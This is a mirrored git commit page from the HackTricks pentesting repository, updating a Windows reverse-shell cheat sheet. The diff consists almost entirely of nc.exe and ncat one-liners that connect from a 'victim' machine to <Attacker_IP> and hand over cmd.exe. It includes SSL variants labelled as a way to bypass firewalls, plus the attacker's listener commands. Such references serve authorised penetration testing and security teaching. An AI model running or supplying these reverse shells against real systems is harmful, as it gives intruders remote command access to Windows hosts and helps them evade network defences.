mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Update windows.md
This commit is contained in:
parent
f16e8b7f2f
commit
05a68e37a7
1 changed files with 3 additions and 3 deletions
|
@ -36,13 +36,13 @@ nc.exe -e cmd.exe <Attacker_IP> <PORT>
|
|||
## NCAT
|
||||
victim
|
||||
```
|
||||
ncat.exe <Attacker_IP> <PORT> -e cmd.exe
|
||||
ncat.exe <Attacker_IP> <PORT> -e "cmd.exe /c (cmd.exe 2>&1)"
|
||||
#Encryption to bypass firewall
|
||||
ncat.exe <Attacker_IP> <PORT eg.443> --ssl -e cmd.exe
|
||||
ncat.exe <Attacker_IP> <PORT eg.443> --ssl -e "cmd.exe /c (cmd.exe 2>&1)"
|
||||
```
|
||||
attacker
|
||||
```
|
||||
ncat -l <PORT 443>
|
||||
ncat -l <PORT>
|
||||
#Encryption to bypass firewall
|
||||
ncat -l <PORT eg.443> --ssl
|
||||
```
|
||||
|
|
Loading…
Reference in a new issue